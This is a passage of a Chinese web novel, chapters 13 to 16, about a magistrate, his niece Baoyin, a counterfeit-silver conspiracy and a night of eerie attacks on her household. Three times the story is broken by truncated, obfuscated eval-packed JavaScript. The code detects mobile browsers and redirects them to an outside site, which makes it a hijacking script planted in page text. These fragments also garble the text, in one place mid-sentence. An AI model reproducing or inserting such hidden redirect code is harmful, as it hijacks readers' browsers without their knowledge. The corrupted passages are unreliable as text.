崔承戟赔笑：“若这差事当真如您所言，我与我阿弟也想试试，总比收这些草药鸡毛要强。” 白发老妇瘪嘴，甚是不悦：“若真的好，他二人还能失踪？”老妇拄着柳木枝干制成的拐杖，一壁慢慢踱回自家草屋，一壁冷笑道：“他们俩精着呢！但凡你与他们打听，他们总支支吾吾，要么这个借口，要么那个借口，反正五年了，没人知道他二人做什么。” 榕参还想再问，却被崔承戟拉住，暗暗摇头，低声：“问多了容易暴露，这村子蹊跷，改日再来。” 二人带着一筐草药策马而回。崔承戟驰马行至雀音阁的朱门前，习惯地正要进去，心中一愣，想起自己昨日说的让宝音立身自持自强的话，再见两扇门扉的窄窄缝隙处，隐约透出雀音阁正屋的几线烛光，崔承戟轻声如叹：“罢了。” 松腕扬鞭，马蹄一跃，二人径直来到一品堂门前。 崔承戟纵身下马，将马鞭丢给马夫，耳畔飘来一阵欢笑——是西厢房榕度、榕平等人。 今日买来阿四，榕度重回一品堂，他们兄弟几个聚聚，也是寻常。故而崔承戟并不在意，抬腿欲回正房，却听见榕平唤榕参的声音：“大哥，你快来瞧！榕度今晚睡这床花被子呢！哈哈哈哈哈！” 一时间西厢房全是笑声。 榕度站在众暗卫中间，抬手摸后脑勺，脸上红得像要滴血：“小姐给的，我能有什么办法？” “嘿！”其中一个暗卫道，“怎么小姐单单给你呢？” 榕度拍了下他的脑门：“这两日是我护卫小姐，她不给我给谁？而况，不单是我，今日新来的那个阿四也有，也是一样的。” “哈哈哈哈哈……” 榕度气得抱起被褥，往装行囊的箱笼里塞。 榕参拦住他，随众人一齐笑道：“小姐的心意，你就收下吧！要是收进箱笼里，她过来看见了，岂不伤心？” 众暗卫一齐附和。 榕度没好气的：“大人又不许她轻易过来，再说了，小姐过来，也是寻大人去，岂会来咱们屋里？” 他还要说，却见众人皆敛了笑，垂头而立。榕度心中一惊，抱着被褥转过去也不是，不转也不是。 崔承戟眯眼：“榕度，小姐赏你什么了？” 13. 晚膳 烛光轻晃，映得八仙桌上青瓷碗碟浮光跃金。宝音、贞杏、屠苏及鱼应鱼泉兄弟二人围坐八角桌前，共进晚膳。 崔承戟风尘仆仆入了雀音阁的院子，见天井内不见人影，只正屋传出一阵欢笑，眉心蹙得更紧。 “小没良心的。”他抬步跨过石阶，并不径直入内，而是立于雀音阁正屋的月洞窗下，里头果又飘来众人欢笑。 崔承戟本就耳力非凡，略一分辨，宝音、贞杏、鱼应、鱼泉的笑声都含在里头，还缺个阿四，不过他已经哑了，倒是齐全。 屋内八角桌上，六色珍馐列案，居中玛瑙盏盛着贞杏特制的五红银耳羹。象牙箸尖掠过玛瑙盏，绛色樱桃肉轻落屠苏面前饭碗中。宝音眉眼皆是笑意：“屠苏，你吃。” 乍见一桌子好菜，屠苏有些拘谨，伤痕遍生的手攥紧筷子，轻轻点头。 贞杏也夹了块肉给宝音：“小姐，你不吃第一口，屠苏也不敢吃呀。”她还要说，却见宝音直勾勾盯着她身后，贞杏心口一紧，僵僵地转头，崔承戟獬豸纹袍角半隐于夜色，目光如刃灼灼望向他们一干人。 “二叔！”宝音雀跃之情溢于言表，她忙提裙起身，行至崔承戟身侧，挽了他的手臂邀他入座。 贞杏、鱼应、鱼泉恨不能立时钻进青砖缝里，三人遽然起身，朝崔承戟行礼。独留屠苏还怔然坐于案前，他见贞杏等人起身行礼，也搁下碗筷，模仿着鱼应、鱼泉的动作朝崔承戟作揖。 虽说方才榕度的撒花被子、雀音阁主仆五人同桌用膳令崔承戟不喜，但此刻宝音笑意盈盈，搂着他的臂膀，满心满意地安排他的位子，崔少卿浮在心头的那股薄薄怒意似乎被今夜的春风慢慢抚平了，他近乎忘了自己说过的让宝音习惯远离他的话。 “二叔坐主位。”宝音唤贞杏端来一张绣墩，摆在崔承戟身侧，“宝音陪着二叔。” 她猝然想起什么似的，抬起头，水盈盈带着点乞求的眸子直直望进崔承戟心里：“可以吗？”她知道崔承戟有意与她划开距离。 他闷声：“嗯。” 贞杏等人便是再蠢，也瞧得出崔承戟的不悦。贞杏福了一福身：“大人，小姐，小厨房里还炖着一锅银耳羹，奴婢去看看。” 鱼应、鱼泉也道：“属下去看看小姐的药熬得怎么样了。” 说罢，三人同时看屠苏。 屠苏不知道找什么借口，而况就算有借口，他也说不出来。鱼泉忙道：“按苏郎中的嘱咐，屠苏该涂药了。” 四人脚底抹油，齐齐开溜。 宝音蹙眉，还欲挽留，却被崔承戟按住伸出的手。 “屠苏是谁？”他沉声问。 “阿四。”宝音望着四人背影，“二叔，他们都没有用晚膳呢。” “我也没有吃。” “那我喊贞杏再添副碗筷来。” “不必了。”崔承戟目光落在宝音脸上，“你给他取的名字？” 宝音点点头，将午后那句“禳灾解厄、四时清吉”的话复述给崔承戟听，转而又道：“屠苏很可怜，他连自己的姓都不知道，阿四这个名字，听起来就是随意取的。” 崔承戟脸色愈沉，他忽然觉得自己捡了只孱弱小猫回来，不久小猫又捡了只哑巴小狗回来。这雀音阁不是雀音阁，而是收容救治可怜猫狗的所在。 宝音感觉到二叔的不悦。从方才他猝然过来，他的脸色瞧上去就是不大欢喜的样子。宝音大致猜到是送给榕度的那床撒花被褥起了效，她故意装作不察，只在心里想，如何让二叔多留一会儿，多陪她一会儿，同她多说一会子话。 “护卫而已，萍水微末，何须倾注如许心血？” 你该在自己身上，在值得的人身上花费心力。崔承戟如此想。 “不仅是护卫，还是救命恩人。”宝音答得认真，“同二叔一样，屠苏、贞杏皆是宝音的救命恩人。” 指节扣响手边青瓷茶盏，崔承戟半张脸隐在夜色中，听宝音如此说，他知道自己也不必再多说什么。 宝音将自己的碗筷推到崔承戟面前：“我没用过，二叔你吃吧。”她双手搁在桌案，脸颊枕在手背上，歪头望崔承戟，轻声：“下午听榕度说二叔出门查案，我还以为二叔要很晚才回来。” 碗中樱桃肉晶莹如琥珀色，崔承戟持象牙箸，夹肉递到宝音唇边：“张嘴。” 宝音立时笑得眉眼弯弯，依言张嘴小咬一口，边嚼边道：“二叔第一次喂我吃肉呢。” “小时候有人喂你吗？” “怎么会。”宝音撅了嘴，“曹嬷嬷只要她自己吃饱了就行，她是从来不管我的。” 她蓦然想起曹嬷嬷的死，这些日子以来一直不曾问过二叔，如果二叔为了给她复仇，违反大燕律法，耽误前程，她会愧死的。 宝音道：“二叔……曹嬷嬷，真的死了吗？” “嗯。”他意态闲闲，似乎仅仅在欣赏宝音吞咽食物的娇憨模样儿，浑然不在意她说的话。那块只被宝音咬了一小口的樱桃肉又递到她嘴边：“多吃点。” 宝音抿唇，柳眉微蹙：“那杀人……” “她罪有应得。她是你大舅母郑氏娘家的老奴，替你大舅母做过不少腌臜事，为了掩人耳目，才把她放在你身边。想必日后东窗事发，那曹嬷嬷会一口咬定自己的所作所为皆是你指使的。” 宝音微怔：“她们做过什么？” “放印子钱，这算是轻的。昔年你二舅染上赌博，在靖州赌坊几乎赔光家资，正是郑家人勾他去赌的。算算时间，那两年正是你大舅母和二舅母争夺中馈管家之权的时候。” 宝音也想起来，五年前大舅母郑夫人因病将管家权暂交二舅母卢夫人，卢氏执掌中馈不过三月，竟将阖府人心收得服服帖帖。三个月后，郑夫人病愈，索要管家权，宋府的管家对牌却始终被卢氏扣着，不肯交还。郑夫人素来是和顺性子，也便不与她计较。 未料一月之后，二舅宋宗武因赌博欠下赌坊百两金，带人殴打赌坊的讨债小厮，其中一个小厮就活活被宋宗武打死了。事发之后，郑家连夜洒金替宋宗武掩饰，免去其牢狱之灾，那对牌终究还是沾上了血腥气，不动声色地又落回郑夫人手中。 那时，宝音当真以为郑家是好心襄助。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279631|166773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “你二舅的那个殴打致死案，真正凶手另有其人。像这样害人性命的事，还有很多。光曹嬷嬷一人，手上就有好几条人命。她也算死得其所。”樱桃肉再次递到宝音唇边，“不吃了么？” 宝音闻言，一口吞下剩下肉块，含在嘴里细嚼慢咽，心中却有些后怕。在她印象中，大舅母郑夫人对她虽然也不多好，但至少面子上的工作从不落下，更没有当面无故责怪于她。哪怕这次罚她跪祠堂，贬她去别院，也是因她认定打碎自己陪嫁莲纹瓶的凶手是宝音。相反，二舅母卢太太为人刻薄狠辣，曾有一次，宝音和宋敏珠玩闹，宝音轻轻推了宋敏珠一把，宋敏珠甚至都没摔倒，偏偏让卢太太瞧见了，当即上前死死揪住宝音耳朵，骂她“不长眼的奴才”。 其实，刚去宋家时，她与宋敏珠关系还不错，至少宋敏珠不会无故针对她。后来，也许是卢太太的做法让二房人上行下效，总之，宋府二房苛待宝音是全府皆知的老黄历了。自始至终，宝音都不曾想到，大舅母竟是最佛口蛇心的那一个。 “不必管他们，”崔承戟看出宝音的心事，“宋家的花架子快倒了。接下来，是王家、郑家，从前欺负过你的人，二叔都会让他们得到相应惩罚。” 于崔宝音而言，只消这一句话，便抵得上从前她受过的一切苦难。那些经年的委屈在这一瞬间如拍上岸边的浪涛，潮水褪尽，留下一片濡湿，在宝音心里，也在宝音眼里。 她侧过脸，抬起手背抹掉那颗摇摇欲坠的泪珠，转而扬起大大笑靥对着崔承戟：“那拉勾，二叔一定要给宝音报仇。”她伸出手。 如花笑靥骤然绽开，小女娘浓长的睫毛上仍挂着一颗莹润水珠。崔承戟喉结滚动，偏了脸，敛眸嗤笑：“小孩子的玩意，哪有什么承诺是只要拉勾就必会做到的。”怕小女娘失落，继而补充道：“大丈夫一言既出，驷马难追。我既如此说，必会做到。” 宝音只好闷闷收回手。她想起午后屠苏说的话，尚未来得及告知二叔，宝音道：“二叔，屠苏说他见过那两具无头尸，他画给我们看的。” 崔承戟眉峰一跳：“何时？” “昨日午后，屠苏随阿大采完草药后下得山来，正撞见那两人执布条麻绳欲往山中去。那麻绳纹路粗粝，与先前捆缚我和贞杏的一般无二。屠苏初见我们时便觑得我们手足皆缚此绳，他立时猜到他们是来抓我们的，故而他跟阿大说有物遗落在山上。折返途中正好碰见下山来找二叔的贞杏，贞杏拜托他来救我，所以才有了后面屠苏背我下山。” “他说那两人准备上山时，身上都是干的。可我与贞杏离开时，分明把其中一个推到河里了，我想，他们一定是离开又返回，那个地方应该也不是很远。” “从庆春园到青邙山下，大约是一个半时辰。如果他们是回靖州城里，来回便是三个时辰，来不及的。” 崔承戟安静听宝音分析，不由欣慰，愈发觉得此前轻看了这小妮子，只以为她胆小怯懦，其实也是胸有成算的。 宝音忽又想起另一桩旧案：“二叔！我还想到一件！” 崔承戟温声：“还有什么？” 14. 夜杀（一） “那两个人是在夜间做活的，那晚他们把我和贞杏丢在草屋里准备离开时，其中一个亲口说：‘天黑了，该干活了。’我想，他们可能是夜里打更的。” 崔承戟拧眉，淡声：“不是。” 凡打更人皆记录在靖州府册，更何况，如果真是打更人，王三吉兄弟就没有必要隐瞒青邙村村民。 宝音垂眸思索：“那便奇了，什么样的活计需要在夜间才能干呢。” 刹那间思绪翻飞，崔承戟瞳仁一震，他脱口而出：“盗墓！” 夜间做，工钱高，且不能让村民知道。 宝音初次听见这个词眼儿，不大明白：“盗墓？” “嗯。发丘掘冢，不盗自取。”崔承戟忽然觉得一切都讲得通了，那青邙山不正是前朝昭敬皇帝安寝之处么？陵中陪葬无数，有人觊觎是再正常不过的事情。 “青邙山是前朝皇帝陵寝，财宝众多……”宝音喃喃，“那么，那伙守在青邙山的山贼，也是为了盗墓？” 她想到白骨洞中的荧荧绿光，不由困惑：“可既然他们盗取墓中宝藏，为何又要私铸银钱？” “或许他们盗墓，就是为了私铸银钱。”崔承戟抬眸，“如今当务之急，是寻到墓室入口。” 皇陵陪葬墓器，除金器、银器之外，最多的是青铜器，而大燕钱币悉为铜制。更有可能的是，王三吉兄弟真正的身份不是盗墓贼，而是铸币工匠！故此他们才能与郑家搭得上关系，故此验尸时他发现王三吉兄弟的双手粗糙黝黑，薄茧遍生。 自救下宝音后，他们按照宝音、贞杏所提供的信息寻到白骨洞，其中白骨森森已有经年之久，可至今未曾找到墓室入口。或许找到了墓室，他一直以来汲汲苦寻的铜钱银锭私铸之地，也便水落石出了。 唯有彻底揪出铸造之地，这桩横亘京都、靖州乃至整个大燕长达数年之久的私铸银锭案才算真正了结，否则只是隔靴搔痒，那些幽夜里滋生的阴私只会春风吹不尽，如杂草般秽土重生。 崔承戟正思索间，外头一阵急促脚步声，连宝音也不由抬了头。 “大人！”榕参从外头跑来，气喘吁吁，“那只漕船，动了。” “听说是往京都的方向！” 崔承戟垂眸，于他而言，这只漕船是小，铸币之地是大，以小失大并不值当。 “大人！”榕平也跑来，气息未定，“数十名刺客闯入靖州狱，劫走郑伯约。现下人已被送上三月初九的那只漕船，想必是要他逃出去避避风头。” 郑浴怕崔承戟为了大局舍弃这只漕船，竟将自己嫡长子作为筹码，压在漕船上头。当真是好算计。 崔承戟攥紧茶盏，指节隐隐泛白。 “大人！”这回是榕度跑进来，他见榕参、榕平立于一侧也是刚刚汇报过的样子，而崔承戟沉着脸，不由小声了些，“王蟠父亲王保柯携妻女突然出城，看样子是往雍州的方向。” 崔承戟眉峰微抖。 雍州——三皇子雍王封地，果真这银锭私铸案还是与他有干系么？ 先是盐税，再是私铸银锭，他要这么多钱…… 崔承戟眯眼，眸中狠戾尽显。 只能是招兵买马。 他搁箸起身，将大理寺少卿铜牌丢进榕平怀中：“榕平，你现去靖州府衙，调二百兵马，一半去港口劫漕船，一半去拦王保柯。” “榕参，你带一半私卫去港口劫船。” “榕度，你随我——”他忽然一滞，想起身侧还有个小小女娘抬头正眼巴巴儿望着他，“你带二人留在雀音阁，护好宝音。” 榕度忙道：“大人，雀音阁已经有屠苏和两条鱼护佑小姐，何不让我随您一起？”他跪下：“大人，就让属下随您一起吧。” “屠苏还伤着，无法保护宝音。你再多言，自去领罚！” 宝音见榕度红着脸垂头，知他自从调来雀音阁就无法跟随崔承戟他们查案探案之后，心中甚是不痛快。宝音抿唇：“二叔。” 崔承戟转头看她：“怎么了？” 他想到这次宝音失踪，再次叮嘱：“你且待在雀音阁里，无论如何不要开门，更不要出去。若有什么事，一切等二叔回来。” 宝音点头笑笑：“让榕度陪伴二叔吧，多留几个私卫给我就好。宝音哪儿都不去，只在这里等待二叔回来，可以吗？” 崔承戟攥拳，冷了眸色：“不可。” “他必须保护好你。” 他阔步而出，榕参、榕平旋即跟上，唯榕度仍跪在此间，垂头耷脑地咬唇不说话。 宝音敛裙行至榕度跟前，很抱歉地：“对不起，榕度。” “和小姐没关系。”榕度侧开脸，语气落寞，“是我没用。我是最擅辨毒制毒的，可那晚大人中毒，我非但没有及时辨认出，甚至到现在都寻不出个解药。” 宝音指尖一颤：“二叔的毒，还没有解吗？”这些日子，他从来没有在宝音面前有过毒发迹象，她还以为，二叔的毒已经解了。 榕度摇摇头：“没有，我和苏郎中暂拟了个药方，大人每日吃一剂，暂且撑得过去。只是每夜毒发，大人甚是难受。”他将头垂得更低，死死咬住下唇：“他将我留在小姐身边，也是希望我趁这些日子能尽快寻出解药。是我没用，什么都帮不上大人……” 每夜毒发……甚是难受…… 那晚她失踪，二叔忍痛找她，该有多难受…… 昨夜她执拗地请二叔陪她，他忍痛睡在那张硬邦邦的小小罗汉床，该有多难受…… 他甚至从来不曾在她面前吃过药，更绝口不提他的痛苦与两难。他只是默默地扮作一棵树，将宝音揽在蓬蓬如盖的树冠之下，任风霜如刃、雨雪为刀，他自张开虬枝绿叶将她庇护在树影底下，在查案的缝隙，陪伴她、为她报仇、为她出气。 宝音端起桌案青瓷茶盏，碧色茶汤浮着如许褪色茶叶，将摇曳烛影幽幽隔开。 她不能再不懂事，不能再让二叔担心了。 “榕度，”宝音尽力扬起笑靥，将茶盏捧至榕度面前，“二叔择你守这方寸天地，恰似铸造刀剑的工匠择寒潭淬炼刀刃，并非是弃剑于幽谷，而是欲暗中养其锋芒。今天晚上，雀音阁和一品堂，二叔派你守在此地，宝音真正能依靠的，只有榕度大哥你了。” 榕度缓缓抬头，正好对上小女娘含着笑意与水汽的眸子。 宝音朝他伸出手：“今夜你同屠苏睡一起吧。”她忽而笑开：“睡那床撒花被子。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279632|166773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 榕度噗嗤一笑，侧了脸有些倨傲地扬起鼻尖：“不要。”他瞥了眼宝音朝他伸出的手，知道不合礼数，兀自扶膝起身。 “榕度，你笑啦。”宝音收回手，“把大家都喊进来吧，我们一起用晚膳。” 榕度点点头，正要离去。 “等等。”宝音突然想起什么，“二叔走后，一品堂那边还有什么人？” 榕度略一思索：“除了随我一起留下的两名私卫，还有两个专门在一品堂伺候的小厮，当初大人买下一品堂和雀音阁，就是他们一直在看守这两座院子。” 宝音踱至四开绣屏前，云鬓与屏风中山溪交辉相应。她自思绪中抬眸：“榕度，你先去一品堂，把那两个小厮一起喊过来。来之前，你们三人把一品堂的所有门窗全部关紧、关死。今夜二叔和私卫们齐齐出动，一品堂和雀音阁只剩下我们几个。倘若我是郑家人，我必会派一队人马过来，釜底抽薪。” 她想起从前在宋家的经历，忽然有些感念卢太太和宋敏珠。正是因为那些后宅里上不得台面的小心思，宝音才在面临此等境遇之际，有了未雨绸缪的机警。 她忽然意识到遗漏了什么，忙道：“还有，你们把二叔的那些卷宗折子全部都搬过来，今夜我们一起守好雀音阁。” 榕度答应着去了，宝音又唤来贞杏，命她再添几副碗筷来，将大家齐齐唤来。 “贞杏，今夜你同我一起睡吧。让鱼应、鱼泉把大门关死，等二叔回来才能开门。”她预感到今夜靖州或许会发生许多事，“再拿瓶酒来。” 没一会子，众人齐聚雀音阁正屋，崔承戟放在书案的卷宗奏折悉数搬至宝音妆台上，八角桌围了一大圈人。宝音坐在主位，自她右手起依次是贞杏、榕度、屠苏、鱼应、鱼泉及两名私卫谢伦、班灯和两名一品堂小厮逢保、焦韦。 拢共十人，相对无言。宝音一壁斟酒，一壁说道：“我年纪小，很多事不懂。今夜二叔带人追捕漕船和王家人，我心里总是觉得，两方人马选同一时间出动，实在太巧。二叔让你们护佑我平安，我相信你们一定尽心尽力。可是，我不仅要我平安，我要你们也平安。从前在宋家我没遇见多少好人、多少好事，更没有好运道，如今二叔救我出来，你们跟着二叔、跟着我，于我而言，总算作是新生后的亲人、朋友。” “所以，今夜把大家聚在一起，我们合该彼此襄助。等二叔回来时，我们每个人都要全须全尾、一个不落的。” 下首九人面面相觑，屠苏等人更是心下震颤。他们当中有人从小当作死士培养，将主子命令看得比生命还要重要，如今宝音这番话恍惚令他们想起，自己首先是人，而不总是刀剑。 薄酒一杯，菜馔如许，众人不敢豪饮海吃，只填饱肚子，便回去各司其职。贞杏的西厢房给谢伦和班灯所住，逢保与焦韦则睡在雀音阁正屋的外间，宝音、贞杏亲自为他们展了床铺。贞杏睡在碧纱橱内，与宝音仅几步之遥。 打更人第一声梆子响时，宝音正与贞杏同窝在锦衾内，就着昏黄烛火看崔承戟所录的宋家盐税案卷宗。 “戌时一更，天干物燥，小心火烛！”打更的声音拖着尾儿从庭院外传来。 靖州的大戏，随着这一声，就此开演了。 15. 夜杀（二） “戌时一更，天干物燥，小心火烛！” 贞杏按住宝音翻阅卷宗的手，暖声：“夜里看字伤眼，姑娘歇会儿。眼下才一更，不若奴婢陪姑娘摸会儿牌，聊作消闲，可好？” 宝音将宋家卷宗搁在膝上，怅声如叹：“我没想到，舅舅他们做过那么多伤天害理的事，甚至还打着祖父和二叔的旗号为非作歹。看卷宗上的一桩桩一件件，二叔从前替他们遮掩许多，想来总是为了我的缘故，他本是惩恶扬善之人，却因为我藏污纳垢，包庇恶人恶行。” 她目向映在格纹窗的婆娑树影：“等京都定了舅舅们的罪，二叔也必定会因包庇而受到圣上责罚的。” 坐在外间的小厮逢保嘻嘻笑道：“姑娘不必忧心。大人是何等人物，岂会故意将把柄递到别人跟前？大人必定是留了退路的。” 焦韦也道：“是了，大人心细如发，最多治个，嗯……治个治下不严之罪，姑娘不必担心。” 宝音仍沉在这件事里，两弯细眉蹙起，葱指攥着卷宗轴木，指节泛白。逢保和焦韦见她焦心模样，便说些笑话儿，逗宝音开怀。不过半炷香的时间，宝音与他二人已略有些熟悉了。此刻，逢保正说到自家一件趣事，惹得焦韦和贞杏捧腹大笑，宝音也掌不住，靠在贞杏怀里掩唇笑起来。 庭院猝然传来一阵急促的敲门声，“笃笃笃”撞破四人的连连欢笑。 “谁呀？”贞杏蹙了眉，“从来没人来的，大人今夜又不在，谁这么晚敲门？” 宝音等人走出正屋时，鱼应、鱼泉已站在朱门后，面面相觑不知如何是好。见宝音出来，鱼应近前，压低声音：“似乎是个女子。” 女子？宝音眉心皱得更紧。自她入住雀音阁以来，从无外人来过，更没有出现过这样急促的敲门声。 “开门啊！”门外，宋敏珠急切喊道，“我知道你在里头，崔宝音，你开门啊！” 宝音浑身一震，通身血液似乎顷刻间就凝住了：“宋敏珠……” “你别装死！我知道你在里头！”宋敏珠尖着嗓子。 贞杏咬唇：“小姐，回去歇着吧。不必理会她，过一会子就走了。” 宋敏珠将门板拍得咚咚响，嘴里骂骂咧咧，连带着崔承戟也骂进去，似是想激宝音开门与她吵架。 宝音推开贞杏拦她的手，上前几步，提了倚在墙角的木桶，将桶里半数的水奋力朝门上一泼。 门缝里陡然喷水，浇了宋敏珠满脸满嘴。她愣了半瞬，反应过来后破口大骂：“崔宝音你个丧门星！” 又听见这词，泼天的委屈和怒意占据了宝音的整颗心，她掣住木桶的桶柄用力掷向门板。 下一瞬，宝音吼道：“丧门星的门你都要闯，你是什么呀！” “你不是丧门星，那被扭送京都大理寺的人是谁阿耶！说不定那俩人就是被你克进大理寺诏狱的！” 她叉腰立于门后，眼泪夺眶而出：“我凭什么开门？这是我二叔给我置办的院子，你是谁？我凭什么给你开门？” 贞杏、鱼应等人一时间无不愣住，在他们印象中，宝音温顺乖巧，说话声音也细细的，今番是头一遭见宝音如此激动。只是没想到她不过硬气了两句话，泪又禁不住流下来了。 贞杏上前搂住宝音的肩，轻声安慰：“姑娘犯不着为她置气，她是什么样的人，姑娘又不是不知道。” 这些日子跟在宝音身边，雀音阁的人也大都知道了些宋家从前如何苛待宝音，更知道宋家那群豺狼虎豹中尤以宋敏珠母女最甚。 逢保、焦韦也是一叠声说好话地劝宝音回屋，逢保道：“鱼应大爷、鱼泉大爷在门口守着，莫说宋敏珠了，她就是变成只苍蝇，也飞不进来。进来了，也被两位鱼大爷拍死。” 宝音噗嗤一笑，那存在眼眶里的清泪被挤出来，顺着脸颊轻轻滑下。她扶着贞杏的手正要旋身回去，安静了一会儿的门外突然爆出一阵头撞木板的声音。 咚、咚、咚！ 像不要命似的，宋敏珠不住地撞向朱门。 门内众人听得一阵心惊。 隔着窄窄的朱门缝隙，他们隐约瞧见那宋敏珠正跪在门前，一下一下地磕头，头顶撞上门板，发出沉沉的闷响。 随着这阵闷响的，是宋敏珠逐渐冷静又诡谲的声音：“对不住，宝音。从前做了许多事，我对不起你。求你开开门，开开门吧。求求你，宝音，阿姊求求你……” 夜风忽起，浓得化不开的沉云遮蔽弯月。宋敏珠声线凄惨，似从地府传来，如厉鬼搔住每个人的耳朵。 这下，院里的每个人都好奇了，门外究竟发生了什么？宋敏珠要进来干什么？ 仍旧是宝音开口：“我为什么要给你开门？” 咚——！ 宋敏珠重重撞在门槛上，她像被鬼魅掣住脖颈，艰难地从喉咙间溢出话：“有、有人追杀我……” “我有，我有崔承戟想要的证据……” “郑家私铸银锭的……证据……” 最后一句，她仿佛费了很大的劲才说出来。 这句话之后，她似失去魂灵，不停撞门，口中喃喃重复着：“开门……救我……开门……救我……” 悚惧瞬间爬满雀音阁每个人的身心，门外的还是人吗？倘若世上有鬼，此刻的宋敏珠更像是只厉鬼。 “啊！”又是一声凄厉惨叫。 宋敏珠尖声高喊：“崔宝音！你见死不救！你不得好死！” “哈哈哈哈……崔承戟今晚死了，明日就轮到你！” 二叔死了？ 宝音踉跄后退，贞杏也着了慌，想去开门一问究竟。 榕度以剑鞘拦住她：“她一个未出阁的女儿，如何得知大人的行踪。怕不是有诈，唬小姐开门！” 门外嘈杂响声震天，有男子低声怒斥：“快！抓住那个娼.妇！”脚步声如倾盆骤雨密密麻麻撞入院里。 几息之后，复归宁静。榕度从门缝往外瞧，见门外空无一人，而门槛处，缓缓淌出一线血流。 “他们走了。”他遮住这道血迹，不愿宝音看见，转身同院内所有人道，“方才的事实在蹊跷，宋敏珠一个闺阁女孩深夜叩门，又无故以头撞门，还有最后捉她的一干人，也甚是奇怪。今夜无论如何，皆不可开门，一切等大人回来再商议定夺。务必保护好宝音小姐。” 众人口中答应着，心里却不平静。 此时，几滴雨落在脸颊，宝音抬头望天，果真下起夜雨：“下雨了，大家回屋，早些歇息安寝吧。” “是。”众人齐道。 贞杏扶着宝音的手，正要回去，忽然住了脚步，“咦”了一声道：“怎么不见屠苏？” 宝音也发现屠苏不在，故而问与他同睡东厢房的榕度：“屠苏已经睡了吗？” 榕度摇头：“不知道，我方才在鱼应屋里与他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279633|166773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 商量事，未见过屠苏，大抵是睡了。”他一壁说，一壁步向东厢房，掀起竹帘，屋内却空无一人。 “他不在屋里！” 雀音阁的门始终紧闭，屠苏去了哪里？ 悚惧重新回到雀音阁。 方才宋敏珠的动静闹得很大，众人听她最后凄厉声音，无不心有余悸，此刻屠苏又不见了踪迹，恐怖像小虫开始咬啮每个人的心。 榕度率先冷静下来：“下雨了，不要在外头逗留。虽说屠苏不见了，但雀音阁的门从未开过，他必定还在阁内。他说不了话，指不定此刻在哪儿被绊住，等我们过去救他。” 他扫视一圈，见私卫鱼应、鱼泉、谢伦、班灯，小厮逢保、焦韦立在眼前，沉思一瞬，道：“这样，鱼应、鱼泉各一组，班灯和逢保、谢伦和焦韦各为一组，搜查雀音阁，找出屠苏。我、贞杏陪小姐守在正屋，有什么事，及时来告知小姐。” 鱼应等人应下，各自分了地点去寻屠苏。榕度持剑跟在宝音和贞杏身后，低声：“今夜的事，当真是蹊跷。” 宝音也是心惊胆寒：“是了。自我住来此间后，从未外出过。宋敏珠如何认得此处？她又如何手握郑家把柄？还有她最后那几句话的声音，不像人说的，倒像是、倒像是……” “倒像是鬼！”贞杏搂着宝音的手臂，警惕地环视四周。 榕度蹙眉：“世上本无鬼，不过是有人装神弄鬼罢了。小姐放心，有我和鱼应他们在，万不会出事的。” 宝音虽点点头，可十二岁的女娘乍见此事，心下是驱不散的无限遐想与恐惧。她咬牙：“榕度，今夜实在太多怪事，连这雨也怪得很。我心中不安，不管是人是鬼，他们在二叔离开的时候现身，那二叔的卷宗奏折就不能那样明晃晃地放在妆台上。” 榕度抬眸：“小姐的意思是？” 宝音思索片刻，抿唇道：“将其中直接有关银锭案的卷宗藏于房梁之上，奏折粘于床板下，其余的依旧放在桌上，如何？” 榕度点头。 三人齐心拣出靖州有关卷宗奏折，依宝音所言藏好，妆台上只剩下一摞无关紧要的卷宗折子。 此时，外头一阵翻箱倒柜之声，三人迅速警惕，屏息聆听之间，惊觉这声音不是雀音阁里发出的，竟像是从一品堂传来的。 面面相觑之际，西窗外忽闪过黑影，贞杏立时吓得尖叫。榕度迅速上前推开窗，可窗外除了逐渐势大的夜雨，什么也没有。 “没有人。”榕度转身，却见宝音和贞杏身后的月洞窗窗纸上，慢慢现出一个人形黑影。 榕度也是初见此等怪异景象，双目逐渐瞪圆，错愕地望着她二人身后，一时间喉咙像被人扼住，半句话说不出来。宝音和贞杏见他如此模样，顿觉背后爬满无数蛇蚁，似在啃噬肌肤。 她二人彼此搂着，颤巍巍转身，那黑影开口说话了： “戌时一更，十人点灯。一人饮酒，一人失踪。” 说罢，黑影迅速消失。 榕度急按剑上前，破窗之后，又是空无一人。 三人皆是毛骨悚然。 贞杏声音发颤：“这……这是人还是鬼？” 榕度冷声：“必定是有人装神弄鬼，不必担忧，等寻到屠苏，我必将此人揪出来。” 只是，一波未平一波又起。 班灯忽然破门而入，眸中惊惧难以掩饰：“不好了！逢、逢保死了！” 16. 夜杀（三） 夜雨敲窗，整个雀音阁浸在血色里。 逢保伏尸雀音阁后罩房的西房。 